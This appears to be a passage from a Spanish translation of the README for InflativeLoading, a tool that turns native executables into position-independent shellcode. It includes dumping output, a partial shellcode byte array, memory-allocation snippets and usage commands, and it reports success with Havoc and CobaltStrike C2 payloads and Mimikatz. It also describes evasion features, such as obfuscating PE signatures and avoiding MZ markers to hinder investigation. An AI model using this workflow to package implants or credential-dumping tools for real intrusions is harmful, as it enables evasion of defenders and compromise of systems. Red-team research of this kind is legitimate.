Sin embargo, dependiendo del programa seleccionado, la ofuscación puede no ser compatible con él. Debes saber cómo funciona el programa. Por ejemplo, la carga útil DLL sin estado de Havoc no es compatible con la función de ofuscación porque la DLL también hace uso del encabezado PE.

La carga útil EXE sin estado de Havoc funciona bien con la ofuscación:```powershell PS C:\Users\Administrator\Desktop\dev\inflativeloading> .\DumpPEFromMemory.exe .\havoc.exe havoc.bin [+] The file is an EXE file [+] Process PID: 26772 [+] PEB Address:000000E87CB1D000 [+] Image Base Address:00007FF7BB8A0000 [+] e_lfanew is 0x80 [+] Size Of The Image : 0x1e000 [+] Size Of Optional Header : 0xf0 [+] Size Of text Section : 0x18000 [+] Size of other sections of mapped .\havoc.exe is 0x5000

[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages

// Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);

[+] 3 iterations are needed

[+] Data successfully written to havoc.bin. Total bytes read: 0x1e000 PS C:\Users\Administrator\Desktop\dev\inflativeloading> python .\InflativeLoading.py -f .\havoc.bin -e true -o true -b havocsc.bin

██╗███╗ ██╗███████╗██╗ █████╗ ████████╗██╗██╗ ██╗███████╗ ██║████╗ ██║██╔════╝██║ ██╔══██╗╚══██╔══╝██║██║ ██║██╔════╝ ██║██╔██╗ ██║█████╗ ██║ ███████║ ██║ ██║██║ ██║█████╗ ██║██║╚██╗██║██╔══╝ ██║ ██╔══██║ ██║ ██║╚██╗ ██╔╝██╔══╝ ██║██║ ╚████║██║ ███████╗██║ ██║ ██║ ██║ ╚████╔╝ ███████╗ ╚═╝╚═╝ ╚═══╝╚═╝ ╚══════╝╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═══╝ ╚══════╝

Author: Senzee Github Repository: https://github.com/senzee1984/InflativeLoading Twitter: senzee@1984 Website: https://winslow1984.com Description: Dynamically convert a native PE to PIC shellcode Attention: Bugs are expected, more support and improvements are coming!

[!] The offset to NT header is 0x80 [!] Depending on the program, obfuscation may not be compatible with it. Make sure you know how does the program work! [!] Dynamically generated instructions to obfuscate remained PE signatures: mov dword ptr [rbx+0x3c], 0x29f7945; mov dword ptr [rbx+0xa8], 0x99924859; mov dword ptr [rbx+0xb0], 0x99924859; mov dword ptr [rbx+0xb4], 0x1203885a; mov dword ptr [rbx+0xd0], 0xbc488d5f; mov dword ptr [rbx+0x110], 0xbc488d5f; mov dword ptr [rbx+0x114], 0x87287f91; mov dword ptr [rbx+0x130], 0xbc488d5f; mov dword ptr [rbx+0x134], 0xd44cc6bb; mov dword ptr [rbx+0x170], 0xbc488d5f; mov dword ptr [rbx+0x174], 0x8d976bd1;

[+] Shellcode Stub size: 957 bytes [+] Generating NOP-like instructions to pad shellcode stub up to 0x1000 bytes [!] Shellcoded PE's size: 126976 bytes

buf += b"\x48\x83\xe4\xf0\x48\x31\xd2\x65\x48\x8b\x42\x60\x48\x8b\x70\x20\x48\x83\xc6\x70" buf += b"\xc6\x06\x0c\xc6\x46\x02\xff\x48\x8b\x76\x08\xc7\x06\x31\x00\x2e\x00\xc7\x46\x04" buf += b"\x65\x00\x78\x00\xc7\x46\x08\x65\x00\x20\x00\xc6\x46\x0c\x00\x48\x8b\x70\x18\x48" buf += b"\x8b\x76\x30\x4c\x8b\x0e\x4d\x8b\x09\x4d\x8b\x49\x10\xeb\x66\x41\x8b\x49\x3c\x4d" buf += b"\x31\xff\x41\xb7\x88\x4d\x01\xcf\x49\x01\xcf\x45\x8b\x3f\x4d\x01\xcf\x41\x8b\x4f" buf += b"\x18\x45\x8b\x77\x20\x4d\x01\xce\xe3\x3f\xff\xc9\x48\x31\xf6\x41\x8b\x34\x8e\x4c" buf += b"\x01\xce\x48\x31\xc0\x48\x31\xd2\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb" buf += b"\xf4\x44\x39\xc2\x75\xda\x45\x8b\x57\x24\x4d\x01\xca\x41\x0f\xb7\x0c\x4a\x45\x8b" buf += b"\x5f\x1c\x4d\x01\xcb\x41\x8b\x04\x8b\x4c\x01\xc8\xc3\x48\x31\xc0\xc3\x4c\x89\xcd" buf += b"\x41\xb8\x8e\x4e\x0e\xec\xe8\x8c\xff\xff\xff\x49\x89\xc4\x41\xb8\xaa\xfc\x0d\x7c" buf += b"\xe8\x7e\xff\xff\xff\x49\x89\xc5\xeb\x0a\x48\x31\xc0\x8b\x43\x3c\x48\x01\xd8\xc3" buf += b"\x48\x31\xf6\x48\x31\xff\x48\x8d\x1d\x17\x0f\x00\x00\xe8\xe4\xff\xff\xff\x8b\xb0" buf += b"\x90\x00\x00\x00\x48\x01\xde\x8b\xb8\x94\x00\x00\x00\x48\x01\xf7\x48\x39\xfe\x74" buf += b"\x74\x48\x31\xd2\x8b\x56\x10\x48\x85\xd2\x74\x69\x48\x31\xc9\x8b\x4e\x0c\x48\x01" buf += b"\xd9\x41\xff\xd4\x48\x31\xd2\x8b\x56\x10\x48\x01\xda\x48\x89\xc1\x49\x89\xd6\x4c" buf += b"\x89\xf2\x48\x8b\x12\x48\x85\xd2\x74\x3d\x49\xb9\x00\x00\x00\x00\x00\x00\x00\x80" buf += b"\x4c\x85\xca\x48\x89\xcd\x75\x0c\x48\x01\xda\x48\x83\xc2\x02\x41\xff\xd5\xeb\x10" buf += b"\x49\xb9\xff\xff\xff\xff\xff\xff\xff\x7f\x4c\x21\xca\x41\xff\xd5\x48\x89\xe9\x4c" buf += b"\x89\xf2\x48\x89\x02\x49\x83\xc6\x08\xeb\xb8\x48\x83\xc6\x14\xeb\x87\x48\x31\xf6" buf += b"\x48\x31\xff\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xff\xe8\x45\xff\xff\xff\x8b\xb0\xb0" ......126576 more bytes......

Generated shellcode successfully saved in file havocsc.bin

[#] Shellcode located at address 0x1ae8ab70000

[!] PRESS TO EXECUTE SHELLCODED EXE...

4/11/2024 Lógica de shellcode mejorada

Añadí lógica de shellcode adicional para manejar algunas excepciones poco comunes. Por ejemplo, en el payload DLL stateless de CobaltStrike, algunas entradas de reubicación base son inválidas porque el RVA de la página es mayor que el tamaño de la imagen.

El tamaño de la imagen es 0x58000.

Sin embargo, algunos RVA son mayores que 0x58000.

Además, el shellcode sale correctamente del programa después de ejecutar el shellcode convertido.

4/11/2024 Mejorado el volcador de PE

Ahora el volcador puede mostrar más información y proporcionar sugerencias para la asignación de memoria:```c // Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x1000, 0x5000, 0x3000, 0x20);

2/19/2024 Añadido soporte básico para UPX Packed EXE

Modifiqué ligeramente el código que corrige la IAT, porque encontré algunas líneas de código innecesarias. Después de esto, InflativeLoading puede ejecutar algunos programas EXE empaquetados con UPX, incluyendo calc.exe, PsExec. Sin embargo, solo algunos de los programas empaquetados. En primer lugar, es poco probable que pruebe todas las configuraciones de empaquetado posibles para todos los programas probados. Por la segunda razón, continúe leyendo:

Para los programas que no tienen delayed import directory, InflativeLoading puede ejecutar sus versiones empaquetadas con UPX. Sin embargo, a diferencia de los programas desempaquetados, los programas empaquetados tienen todas las ILT vacías.

Tome como ejemplo el calc.exe normal, ILT e IAT son idénticos para todos los módulos.

Pero para el calc.exe empaquetado con UPX, ILT está vacía para todas las entradas en el Directorio de Importación.

Pero si el programa tiene un directorio de importación retrasada, como Mimikatz, se vuelve más complejo.

Para el mimikatz.exe normal, el directorio de importación retrasada es el siguiente:

Pero para el mimikatz.exe empaquetado con UPX, PE Bear no puede analizarlo, ni yo tampoco.

A continuación se muestra un caso de prueba exitoso para calc.exe empaquetado con UPX.

Antecedentes

Uno de mis objetivos es convertir un exe en shellcode. De esta manera, algunas herramientas de seguridad como Mimikatz se pueden usar con más flexibilidad. Aunque algunas herramientas como Donut ya han logrado esto, aún quiero crear una herramienta con mi enfoque y, con suerte, pueda traer algunas mejoras.

Motivado e inspirado por algunas herramientas y técnicas clásicas y modernas, InflativeLoading es una herramienta que puede convertir dinámicamente un EXE/DLL no administrado en shellcode PIC.

En resumen, InflativeLoading genera y antepone un stub de shellcode al módulo principal del PE volcado.

La herramienta consta de DumpPEFromMemory.exe e InflativeLoading.py.

Componentes incluidos

Se requieren los siguientes dos componentes para convertir un archivo PE no administrado a shellcode.

Proyecto DumpPEFromMemory

DumpPEFromMemory.exe se usa para obtener la versión en memoria del archivo PE seleccionado.

Para los programas EXE, funciona creando un proceso en estado suspendido y volcando el módulo principal en un archivo binario (en su máquina de desarrollo). ¿Por qué? Un proceso típico de carga reflectante mapea cada sección de un archivo PE en una región de memoria recién asignada. Al respecto, tengo dos inquietudes: En primer lugar, aunque los datos de cada sección son fundamentalmente consistentes ya sea que residan en disco o en memoria, aún podrían existir ciertas diferencias para archivos PE particulares o bajo circunstancias específicas.```c // Code snippet from Maldev course for (int i = 0; i < pPeHdrs->pImgNtHdrs->FileHeader.NumberOfSections; i++) { memcpy( (PVOID)(pPeBaseAddress + pPeHdrs->pImgSecHdr[i].VirtualAddress), // Distination: pPeBaseAddress + RVA (PVOID)(pPeHdrs->pFileBuffer + pPeHdrs->pImgSecHdr[i].PointerToRawData), // Source: pPeHdrs->pFileBuffer + RVA pPeHdrs->pImgSecHdr[i].SizeOfRawData // Size ); }

Y volcar el payload DLL de Havoc desde la memoria:```powershell PS C:\dev\inflativeloading> .\DumpPEFromMemory.exe .\havocdll.dll havocdll.bin [+] The file is a DLL file [+] Image base of mapped .\havocdll.dll is 0x87fd0000 [+] e_lfanew of mapped .\havocdll.dll is 0x80 [+] imageSize of mapped .\havocdll.dll is 0x1e000 [+] Size of optinalHeader of mapped .\havocdll.dll is 0xf0 [+] Offset of section Header of mapped .\havocdll.dll is 0x188 [+] Size of text section of mapped .\havocdll.dll is 0x18000 [+] Size of other sections of mapped .\havocdll.dll is 0x5000

[!] Suggested memory allocations, please adjust accordingly with other memory allocation APIs and languages

// Allocate memory with RX permission for shellcode stub LPVOID buffer = VirtualAlloc(NULL, 0x1000, 0x3000, 0x20); // Allocate memory with RW permission for PE Header VirtualAlloc(buffer + 0x1000, 0x1000, 0x3000, 0x04); // Allocate memory with RX permission for text section VirtualAlloc(buffer + 0x2000, 0x18000, 0x3000, 0x20); // Allocate memory with RW permission for other sections VirtualAlloc(buffer + 0x2000 + 0x18000, 0x5000, 0x3000, 0x20);

[+] Data successfully written to havocdll.bin

¿Cómo usar?

Creo que ya has revisado ambos componentes de InflativeLoading, en resumen:

1. Usa DumpPEFromMemory.exe para seleccionar un archivo PE no administrado y volcar el módulo principal PE de la memoria a un archivo bin. Consulta las secciones Mejores casos de uso y Problemas o limitaciones conocidas para obtener información sobre la selección de archivos PE.
2. Usa el script InflativeLoading.py para anteponer un stub de shellcode al archivo volcado. Puedes elegir proporcionar una línea de comandos, ofuscar o no, y si ejecutar el shellcode generado inmediatamente. Actualmente, la línea de comandos proporcionada por el usuario solo funciona correctamente para un pequeño conjunto de programas.

Mejores casos de uso

Debido a que InflativeLoading está en sus primeras etapas, no todos los ejecutables son bien compatibles. Las DLL no administradas son bien compatibles; ¡la ejecución de la función de exportación llegará en la próxima actualización!

✅ Programa de consola nativo que no depende de argumentos, como un implante C2 sin etapas, un programa de consola personalizado simple.

✅ Programa de consola nativo con una consola/shell interactiva, como Mimikatz.

✅ DLL no administrada

Mejora respecto a ReflectiveLoader

✔️ No se requieren funciones de exportación específicas, lo que lo hace más amigable con archivos PE cuyo código fuente y compilación no son fácilmente accesibles.

✔️ Evita resultados no deseados debido a diferencias entre el archivo PE en disco y en memoria en ciertos casos.

✔️ Elimina la necesidad de conversión entre el desplazamiento de archivo original y RVA.

✔️ Evita la asignación de espacio de memoria adicional.

✔️ Evita regiones de memoria RWX.

✔️ Incluso para regiones de memoria RX, no comienza con la característica MZ, aumentando la dificultad de la investigación.

Capacidades

☑️ Soporte para EXE nativo normal

☑️ Soporte para DLL no administrada

☑️ Soporte para EXE/DLL que tenga Directorio de Importación Retrasada

☑️ Corregir IAT

☑️ Corregir Directorio de Reubicación Base

☑️ Pruebas superadas con programas clásicos como calc, mimikatz, PsExec, etc.

☑️ Pruebas superadas con payloads C2 clásicos, como CobaltStrike y payload DLL/EXE sin etapas de Havoc.

☑️ Soporte parcial para programas empaquetados.

Problemas o limitaciones conocidas

⚠️ Algunos de los siguientes problemas pueden solucionarse en el futuro, mientras que otros quedan fuera del alcance debido a su naturaleza.

• La línea de comandos suministrada no siempre funciona correctamente. Es un área principal en la que me centraré.

• No funciona bien para programas GUI, como mspaint.exe. Pero calc.exe funciona bien.

• No funciona para todos los programas empaquetados. Algunos programas empaquetados pueden ejecutarse bien, es caso por caso.

• No funciona para programas que requieren otras dependencias, como DLL personalizadas.

• Solo soporte x64, y no planeo agregar soporte para programas x86.

Si encuentras alguno de los problemas o limitaciones anteriores, la ejecución del shellcode puede fallar, el programa convertido no puede identificar correctamente la línea de comandos, o puede que no haya respuesta.

Por ejemplo, PsExec.exe se puede convertir a shellcode PIC, sin embargo, la línea de comandos suministrada por el usuario no se puede identificar correctamente.```cmd C:\Users<...SNIP>>python InflativeLoading.py -b psexec.bin -c "-s -i powershell" -e true -o psexec_merged.bin

<...SNIP...>

Generated shellcode successfully saved in file psexec_merged.bin

[#] Shellcode located at address 0x27159360000

[!] PRESS TO EXECUTE SHELLCODED EXE...

Python Console v3.12.2 - Python Copyright 2001-2023 Python Software Foundation. Copyright 2000 BeOpen.com. Copyright 1995-2001 CNRI. Copyright 1991-1995 SMC. Python Software Foundation

Couldn't install PSEXESVC service: The specified resource type cannot be found in the image file.